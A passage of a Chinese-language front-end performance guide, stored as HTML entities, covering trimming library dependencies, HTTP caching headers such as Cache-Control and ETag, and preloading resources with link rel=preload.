&#x7684;&#x4F9D;&#x8D56;&#x5DF2;&#x7ECF;&#x4E0D;&#x50CF;&#x8FC7;&#x53BB;&#x90A3;&#x6837;&#x5F3A;&#x4E86;&#x3002;&#x5728;&#x300A;You Don&apos;t Need jQuery&#x300B;&#xFF08;<a href=\"https://github.com/nefe/You-Dont-Need-jQuery\" target=\"_blank\">https://github.com/nefe/You-Dont-Need-jQuery</a>&#xFF09;&#x4E00;&#x6587;&#x4E2D;&#xFF0C;&#x5C31;&#x8BE6;&#x7EC6;&#x5730;&#x63CF;&#x8FF0;&#x4E86;&#x5982;&#x4F55;&#x4F7F;&#x7528;&#x539F;&#x751F; JavaScript &#x4EE3;&#x66FF; jQuery&#x3002;</p>\n<p>&#x540C;&#x65F6;&#xFF0C;&#x968F;&#x7740; ES6 &#x53CA;&#x540E;&#x7EED;&#x6807;&#x51C6;&#x7684;&#x6301;&#x7EED;&#x6539;&#x8FDB;&#xFF0C;&#x539F;&#x751F; JavaScript &#x80FD;&#x529B;&#x88AB;&#x5927;&#x5927;&#x589E;&#x5F3A;&#x4E86;&#x3002;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x4ECE;&#x300A;You don&apos;t (may not) need Lodash/Underscore&#x300B;&#xFF08;<a href=\"https://github.com/you-dont-need/You-Dont-Need-Lodash-Underscore\" target=\"_blank\">https://github.com/you-dont-need/You-Dont-Need-Lodash-Underscore</a>&#xFF09;&#x4E00;&#x6587;&#x4E2D;&#xFF0C;&#x4E86;&#x89E3;&#x5230;&#x5982;&#x4F55;&#x4F7F;&#x7528;&#x73B0;&#x4EE3; JavaScript &#x5B9E;&#x73B0;&#x5E38;&#x7528;&#x7684;&#x5DE5;&#x5177;&#x51FD;&#x6570;&#x3002;</p>\n<p>&#x4E0D;&#x8FC7;&#xFF0C;&#x5728;&#x5B9E;&#x9645;&#x9879;&#x76EE;&#x4E2D;&#xFF0C;lodash &#x7B49;&#x5DE5;&#x5177;&#x5E93;&#x5F80;&#x5F80;&#x5341;&#x5206;&#x6709;&#x7528;&#x3002;lodash &#x4E0D;&#x4EC5;&#x5305;&#x542B;&#x4E86;&#x8BB8;&#x591A;&#x5E38;&#x7528;&#x7684;&#x51FD;&#x6570;&#xFF0C;&#x800C;&#x4E14;&#x6BCF;&#x4E2A;&#x51FD;&#x6570;&#x90FD;&#x6709;&#x76F8;&#x5F53;&#x4E30;&#x5BCC;&#x7684;&#x5355;&#x5143;&#x6D4B;&#x8BD5;&#xFF0C;&#x4EE3;&#x7801;&#x8D28;&#x91CF;&#x5F88;&#x9AD8;&#x3002;&#x9700;&#x8981;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;&#x6211;&#x4EEC;&#x5728;&#x5F15;&#x5165; lodash &#x65F6;&#xFF0C;&#x5E94;&#x8BE5;&#x4EC5;&#x5F15;&#x5165;&#x6240;&#x9700;&#x7684;&#x51FD;&#x6570;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x5C06;&#x6574;&#x4E2A;&#x5E93;&#x5168;&#x90E8;&#x5F15;&#x5165;&#x8FDB;&#x6765;&#x3002;&#x7C7B;&#x4F3C;&#x7684;&#xFF0C;&#x5982; moment &#x7B49;&#x4E00;&#x4E9B;&#x8F83;&#x4E3A;&#x5E9E;&#x5927;&#x7684;&#x7B2C;&#x4E09;&#x65B9;&#x5E93;&#xFF0C;&#x4E5F;&#x9700;&#x8981;&#x5728;&#x5F15;&#x5165;&#x65F6;&#x8FDB;&#x884C;&#x4F53;&#x79EF;&#x4F18;&#x5316;&#x3002;&#x5177;&#x4F53;&#x7684;&#x5B9E;&#x8DF5;&#x8BE6;&#x89C1;&#x4E0B;&#x6587; <a href=\"#&#x4F7F;&#x7528;-webpack-&#x4F18;&#x5316;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;\">&#x4F7F;&#x7528; webpack &#x4F18;&#x5316;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;</a>&#x3002;</p>\n<h2 id=\"&#x5BF9;&#x8D44;&#x6E90;&#x8FDB;&#x884C;&#x7F13;&#x5B58;\"><a name=\"&#x5BF9;&#x8D44;&#x6E90;&#x8FDB;&#x884C;&#x7F13;&#x5B58;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5BF9;&#x8D44;&#x6E90;&#x8FDB;&#x884C;&#x7F13;&#x5B58;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5BF9;&#x8D44;&#x6E90;&#x8FDB;&#x884C;&#x7F13;&#x5B58;\" class=\"plugin-anchor\" href=\"#&#x5BF9;&#x8D44;&#x6E90;&#x8FDB;&#x884C;&#x7F13;&#x5B58;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5BF9;&#x8D44;&#x6E90;&#x8FDB;&#x884C;&#x7F13;&#x5B58;</h2>\n<p>&#x9664;&#x4E86;&#x5BF9;&#x8D44;&#x6E90;&#x6587;&#x672C;&#x5927;&#x5C0F;&#x8FDB;&#x884C;&#x4F18;&#x5316;&#x5916;&#xFF0C;&#x8FD8;&#x53EF;&#x4EE5;&#x4ECE;&#x7F13;&#x5B58;&#x7684;&#x89D2;&#x5EA6;&#x8FDB;&#x884C;&#x8003;&#x8651;&#x3002;&#x7F13;&#x5B58;&#x65E0;&#x5904;&#x4E0D;&#x5728;&#xFF0C;&#x5F80;&#x5F80;&#x80FD;&#x5927;&#x5E45;&#x52A0;&#x5FEB;&#x54CD;&#x5E94;&#x901F;&#x5EA6;&#xFF0C;&#x4ECE;&#x800C;&#x5728;&#x4F18;&#x5316;&#x9875;&#x9762;&#x52A0;&#x8F7D;&#x6027;&#x80FD;&#x7684;&#x5DE5;&#x4F5C;&#x4E2D;&#x6709;&#x4E3E;&#x8DB3;&#x8F7B;&#x91CD;&#x7684;&#x4F5C;&#x7528;&#x3002;&#x5728;&#x4E0A;&#x6587;&#x4E2D;&#x5DF2;&#x7ECF;&#x4ECB;&#x7ECD;&#x8FC7; Cache Storage &#x548C; IndexedDB &#x7B49;&#x7F13;&#x5B58;&#x6280;&#x672F;&#xFF0C;&#x8FD9;&#x4E00;&#x8282;&#x4E3B;&#x8981;&#x5173;&#x6CE8; HTTP &#x7F13;&#x5B58;&#x3002;</p>\n<h3 id=\"http-&#x7F13;&#x5B58;\"><a name=\"http-&#x7F13;&#x5B58;\" class=\"anchor-navigation-ex-anchor\" href=\"#http-&#x7F13;&#x5B58;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"http-&#x7F13;&#x5B58;\" class=\"plugin-anchor\" href=\"#http-&#x7F13;&#x5B58;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>HTTP &#x7F13;&#x5B58;</h3>\n<p>&#x73B0;&#x4EE3;&#x6D4F;&#x89C8;&#x5668;&#x90FD;&#x5B9E;&#x73B0;&#x4E86; HTTP &#x7F13;&#x5B58;&#x673A;&#x5236;&#x3002;&#x6D4F;&#x89C8;&#x5668;&#x5728;&#x521D;&#x6B21;&#x83B7;&#x53D6;&#x8D44;&#x6E90;&#x540E;&#xFF0C;&#x4F1A;&#x6839;&#x636E; HTTP &#x54CD;&#x5E94;&#x5934;&#x90E8;&#x7684; <code>Cache-Control</code> &#x548C; <code>ETag</code> &#x5B57;&#x6BB5;&#xFF0C;&#x6765;&#x51B3;&#x5B9A;&#x8BE5;&#x8D44;&#x6E90;&#x7684;&#x7F13;&#x5B58;&#x7B56;&#x7565;&#x3002;</p>\n<p><code>Cache-Control</code> &#x6709;&#x591A;&#x4E2A;&#x53EF;&#x80FD;&#x7684;&#x5B57;&#x6BB5;&#x503C;&#xFF1A;</p>\n<ul>\n<li><code>no-store</code>&#xFF1A;&#x8868;&#x660E;&#x4EFB;&#x4F55;&#x7F13;&#x5B58;&#x4E0D;&#x5F97;&#x5B58;&#x50A8;&#x8BE5;&#x8D44;&#x6E90;&#xFF0C;&#x6BCF;&#x6B21;&#x8BF7;&#x6C42;&#x90FD;&#x4F1A;&#x4ECE;&#x670D;&#x52A1;&#x7AEF;&#x8FD4;&#x56DE;&#x5B8C;&#x6574;&#x7684;&#x5185;&#x5BB9;&#x3002;</li>\n<li><code>no-cache</code>&#xFF1A;&#x8868;&#x660E;&#x5FC5;&#x987B;&#x5411;&#x670D;&#x52A1;&#x7AEF;&#x53D1;&#x4E00;&#x6B21;&#x8BF7;&#x6C42;&#xFF0C;&#x8BE5;&#x8BF7;&#x6C42;&#x5934;&#x90E8;&#x5E26;&#x6709; <code>If-None-Match</code> &#x7B49;&#x8D44;&#x6E90;&#x6821;&#x9A8C;&#x4FE1;&#x606F;&#x3002;&#x670D;&#x52A1;&#x7AEF;&#x5C06;&#x4F1A;&#x9A8C;&#x8BC1;&#x8BE5;&#x8D44;&#x6E90;&#x662F;&#x5426;&#x88AB;&#x4FEE;&#x6539;&#x8FC7;&#xFF0C;&#x8BE6;&#x7EC6;&#x89C1;&#x4E0B;&#x6587; <code>ETag</code> &#x7684;&#x63CF;&#x8FF0;&#x3002;</li>\n<li><code>public</code>&#xFF1A;&#x8868;&#x660E;&#x8BE5;&#x8D44;&#x6E90;&#x53EF;&#x4EE5;&#x88AB; CDN &#x6216;&#x4EE3;&#x7406;&#x7B49;&#x4E2D;&#x95F4;&#x4EBA;&#x7F13;&#x5B58;&#x3002;</li>\n<li><code>private</code>&#xFF1A;&#x4E0E; <code>public</code> &#x76F8;&#x53CD;&#xFF0C;&#x8868;&#x660E;&#x4EFB;&#x4F55;&#x4E2D;&#x95F4;&#x4EBA;&#x4E0D;&#x5F97;&#x7F13;&#x5B58;&#x8BE5;&#x8D44;&#x6E90;&#xFF0C;&#x8D44;&#x6E90;&#x53EF;&#x80FD;&#x4E0E;&#x9690;&#x79C1;&#x4FE1;&#x606F;&#x76F8;&#x5173;&#x3002;</li>\n<li><code>max-age</code>&#xFF1A;&#x6307;&#x5B9A;&#x4E86;&#x8D44;&#x6E90;&#x7F13;&#x5B58;&#x7684;&#x8FC7;&#x671F;&#x65F6;&#x95F4;&#xFF08;&#x79D2;&#xFF09;&#xFF0C;&#x4EC5;&#x5F53;&#x7F13;&#x5B58;&#x8FC7;&#x671F;&#x540E;&#x624D;&#x4F1A;&#x5411;&#x670D;&#x52A1;&#x7AEF;&#x53D1;&#x9001;&#x8BF7;&#x6C42;&#x3002;</li>\n</ul>\n<p><code>ETag</code> &#x662F;&#x7531;&#x670D;&#x52A1;&#x7AEF;&#x51B3;&#x5B9A;&#x7684;&#x4E00;&#x4E2A;&#x8D44;&#x6E90;&#x6821;&#x9A8C;&#x5B57;&#x6BB5;&#x3002;&#x5982;&#x679C;&#x6D4F;&#x89C8;&#x5668;&#x7F13;&#x5B58;&#x5DF2;&#x7ECF;&#x8FC7;&#x671F;&#xFF0C;&#x90A3;&#x4E48;&#x4F1A;&#x5411;&#x670D;&#x52A1;&#x7AEF;&#x8BE2;&#x95EE;&#x8BE5;&#x8D44;&#x6E90;&#x662F;&#x5426;&#x88AB;&#x4FEE;&#x6539;&#x8FC7;&#x3002;&#x670D;&#x52A1;&#x7AEF;&#x4F1A;&#x5C06; HTTP &#x8BF7;&#x6C42;&#x5934;&#x90E8;&#x7684; <code>If-None-Match</code> &#x4E0E; <code>ETag</code> &#x8FDB;&#x884C;&#x6BD4;&#x5BF9;&#x3002;&#x5982;&#x679C;&#x76F8;&#x7B49;&#xFF0C;&#x5219;&#x8868;&#x660E;&#x8D44;&#x6E90;&#x5E76;&#x6CA1;&#x6709;&#x88AB;&#x4FEE;&#x6539;&#x8FC7;&#xFF0C;&#x670D;&#x52A1;&#x7AEF;&#x8FD4;&#x56DE; <code>304 Not Modified</code>&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x4ECE;&#x7F13;&#x5B58;&#x83B7;&#x53D6;&#x8D44;&#x6E90;&#xFF0C;&#x5E76;&#x5237;&#x65B0;&#x7F13;&#x5B58;&#x8FC7;&#x671F;&#x65F6;&#x95F4;&#x3002;&#x5426;&#x5219;&#x5C31;&#x9700;&#x8981;&#x8FD4;&#x56DE;&#x8BE5;&#x8D44;&#x6E90;&#x7684;&#x5B8C;&#x6574;&#x5185;&#x5BB9;&#x3002;</p>\n<p>&#x4E3A;&#x4E86;&#x8FBE;&#x5230;&#x6700;&#x4F73;&#x7F13;&#x5B58;&#x6548;&#x679C;&#xFF0C;&#x5E38;&#x7528;&#x7684;&#x505A;&#x6CD5;&#x662F;&#xFF1A;</p>\n<ul>\n<li>&#x5BF9;&#x4E8E; HTML &#x6587;&#x4EF6;&#xFF0C;&#x8BBE;&#x7F6E; <code>Cache-Control: no-cache</code>&#x3002;</li>\n<li>&#x5BF9;&#x4E8E; CSS &#x548C; JavaScript &#x7B49;&#x9759;&#x6001;&#x8D44;&#x6E90;&#xFF0C;&#x4E0A;&#x7EBF;&#x6784;&#x5EFA;&#x7684;&#x65F6;&#x5019;&#x5728;&#x6587;&#x4EF6;&#x540D;&#x4E2D;&#x63D2;&#x5165;&#x4E00;&#x6BB5;&#x4EC5;&#x4E0E;&#x6587;&#x4EF6;&#x5185;&#x5BB9;&#x76F8;&#x5173;&#x7684;&#x54C8;&#x5E0C;&#x503C;&#xFF0C;&#x5E76;&#x4F7F;&#x7528; <code>Cache-Control: max-age=31536000</code> &#x8FDB;&#x884C;&#x957F;&#x7F13;&#x5B58;&#x3002;</li>\n</ul>\n<p>&#x8FD9;&#x6837;&#x7684;&#x6548;&#x679C;&#x662F;&#xFF0C;&#x5BF9;&#x4E8E;&#x7EDD;&#x5927;&#x591A;&#x6570;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x7684;&#x8BF7;&#x6C42;&#x90FD;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x7F13;&#x5B58;&#x6765;&#x54CD;&#x5E94;&#xFF0C;&#x5E76;&#x4E14;&#x4EC5;&#x5728;&#x6587;&#x4EF6;&#x5185;&#x5BB9;&#x53D8;&#x66F4;&#x65F6;&#x5237;&#x65B0;&#x7F13;&#x5B58;&#x3002;&#x5177;&#x4F53;&#x7684;&#x5B9E;&#x8DF5;&#x8BE6;&#x89C1;&#x4E0B;&#x6587; <a href=\"#&#x4F7F;&#x7528;-webpack-&#x4F18;&#x5316;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;\">&#x4F7F;&#x7528; webpack &#x4F18;&#x5316;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;</a>&#x3002;</p>\n<h2 id=\"&#x8C03;&#x6574;&#x8D44;&#x6E90;&#x4F18;&#x5148;&#x7EA7;\"><a name=\"&#x8C03;&#x6574;&#x8D44;&#x6E90;&#x4F18;&#x5148;&#x7EA7;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8C03;&#x6574;&#x8D44;&#x6E90;&#x4F18;&#x5148;&#x7EA7;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8C03;&#x6574;&#x8D44;&#x6E90;&#x4F18;&#x5148;&#x7EA7;\" class=\"plugin-anchor\" href=\"#&#x8C03;&#x6574;&#x8D44;&#x6E90;&#x4F18;&#x5148;&#x7EA7;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8C03;&#x6574;&#x8D44;&#x6E90;&#x4F18;&#x5148;&#x7EA7;</h2>\n<p>&#x9875;&#x9762;&#x52A0;&#x8F7D;&#x65F6;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x5BF9;&#x5404;&#x79CD;&#x7C7B;&#x578B;&#x7684;&#x8D44;&#x6E90;&#x5206;&#x914D;&#x9ED8;&#x8BA4;&#x4F18;&#x5148;&#x7EA7;&#x3002;&#x4E00;&#x822C;&#x6765;&#x8BF4;&#xFF0C;CSS &#x4F1A;&#x88AB;&#x5206;&#x914D;&#x6700;&#x9AD8;&#x4F18;&#x5148;&#x7EA7;&#xFF0C;JavaScript &#x4F1A;&#x88AB;&#x5206;&#x914D;&#x9AD8;&#x4F18;&#x5148;&#x7EA7;&#xFF0C;&#x800C;&#x56FE;&#x50CF;&#x5219;&#x88AB;&#x5206;&#x914D;&#x4E86;&#x4F4E;&#x4F18;&#x5148;&#x7EA7;&#xFF0C;&#x7B49;&#x7B49;&#x3002;&#x867D;&#x7136;&#x5E76;&#x4E0D;&#x80FD;&#x771F;&#x6B63;&#x4FEE;&#x6539;&#x8FD9;&#x4E9B;&#x4F18;&#x5148;&#x7EA7;&#xFF0C;&#x4F46;&#x6211;&#x4EEC;&#x4ECD;&#x80FD;&#x901A;&#x8FC7;&#x9884;&#x52A0;&#x8F7D;&#x3001;&#x61D2;&#x52A0;&#x8F7D;&#x7B49;&#x591A;&#x79CD;&#x65B9;&#x5F0F;&#xFF0C;&#x8C03;&#x6574;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;&#x7684;&#x884C;&#x4E3A;&#xFF0C;&#x4F18;&#x5316;&#x7F51;&#x9875;&#x52A0;&#x8F7D;&#x6027;&#x80FD;&#x3002;</p>\n<h3 id=\"&#x9884;&#x52A0;&#x8F7D;\"><a name=\"&#x9884;&#x52A0;&#x8F7D;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x9884;&#x52A0;&#x8F7D;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x9884;&#x52A0;&#x8F7D;\" class=\"plugin-anchor\" href=\"#&#x9884;&#x52A0;&#x8F7D;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x9884;&#x52A0;&#x8F7D;</h3>\n<p> <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>preload<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span></code> &#x662F;&#x4E00;&#x79CD;&#x901A;&#x7528;&#x7684;&#x9884;&#x52A0;&#x8F7D;&#x65B9;&#x5F0F;&#xFF0C;&#x652F;&#x6301;&#x51E0;&#x4E4E;&#x6240;&#x6709;&#x5E38;&#x7528;&#x8D44;&#x6E90;&#x7C7B;&#x578B;&#x3002;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5728; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span></code> &#x4E2D;&#xFF0C;&#x901A;&#x8FC7; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>preload<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span></code> &#x6765;&#x63D0;&#x524D;&#x58F0;&#x660E;&#x5F53;&#x524D;&#x9875;&#x9762;&#x6240;&#x9700;&#x7684;&#x8D44;&#x6E90;&#xFF0C;&#x4EE5;&#x4FBF;&#x6D4F;&#x89C8;&#x5668;&#x80FD;&#x9884;&#x52A0;&#x8F7D;&#x8FD9;&#x4E9B;&#x8D44;&#x6E90;&#x3002;&#x4E00;&#x4E2A;&#x5B9E;&#x9645;&#x7684;&#x9884;&#x52A0;&#x8F7D;&#x4F8B;&#x5B50;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token doctype\">&lt;!DOCTYPE HTML&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token comment\">&lt;!-- ... --&gt;</span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>preload<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">as</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>style<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/dist/index.css<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>preload<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">as</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>script<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/dist/vendor.js<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>preload<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">as</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>script<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/dist/app.js<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>preload<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">as</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>font<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">type</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>font/woff2<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">crossorigin</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>anonymous<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/dist/fontawesome.woff2<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>preload<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">as</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>image<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/dist/banner-narrow.png<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">media</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>(max-width: 960px)<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>preload<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">as</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>image<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/dist/banner-wide.png<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">media</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>(min-width: 961px)<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>stylesheet<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/dist/index.css<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token comment\">&lt;!-- ... --&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token comment\">&lt;!-- ... --&gt;</span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/dist/vendor.js<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/dist/app.js<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x4E0A;&#x8FF0;&#x4F8B;&#x5B50;&#x4E2D;&#xFF0C;&#x9884;&#x52A0;&#x8F7D;&#x4E86; CSS&#x3001;JavaScript&#x3001;&#x56FE;&#x50CF;&#x548C;&#x5B57;&#x4F53;&#x6587;&#x4EF6;&#x3002; <code>as</code> &#x5C5E;&#x6027;&#x8868;&#x660E;&#x4E86;&#x8D44;&#x6E90;&#x7684;&#x7C7B;&#x578B;&#xFF0C;&#x4ECE;&#x800C;&#x6D4F;&#x89C8;&#x5668;&#x624D;&#x4F1A;&#x4E3A;&#x540E;&#x7EED;&#x7684; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>stylesheet<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span></code> &#x3001;<code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span></code> &#x548C; CSS &#x6587;&#x4EF6;&#x4E2D;&#x7684; <code>url()</code> &#x58F0;&#x660E;&#x4F7F;&#x7528;&#x9884;&#x52A0;&#x8F7D;&#x7684;&#x8D44;&#x6E90;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x518D;&#x53D1;&#x8D77;&#x4E00;&#x6B21;&#x8BF7;&#x6C42;&#x3002;&#x53E6;&#x5916;&#xFF0C;&#x8FD8;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>media</code> &#x5C5E;&#x6027;&#x8FDB;&#x884C;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;&#xFF0C;&#x6839;&#x636E;&#x54CD;&#x5E94;&#x5F0F;&#x7684;&#x60C5;&#x51B5;&#x9009;&#x62E9;&#x6027;&#x5730;&#x9884;&#x52A0;&#x8F7D;&#x8D44;&#x6E90;&#x3002;</p>\n<h3 id=\"&#x9884;&#x8FDE;&#x63A5;&#x4E0E;-dns-&#x9884;&#x89E3;&#x6790;\"><a name=\"&#x9884;&#x8FDE;&#x63A5;&#x4E0E;-dns-&#x9884;&#x89E3;&#x6790;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x9884;&#x8FDE;&#x63A5;&#x4E0E;-dns-&#x9884;&#x89E3;&#x6790;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x9884;&#x8FDE;&#x63A5;&#x4E0E;-dns-&#x9884;&#x89E3;&#x6790;\" class=\"plugin-anchor\" href=\"#&#x9884;&#x8FDE;&#x63A5;&#x4E0E;-dns-&#x9884;&#x89E3;&#x6790;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x9884;&#x8FDE;&#x63A5;&#x4E0E; DNS 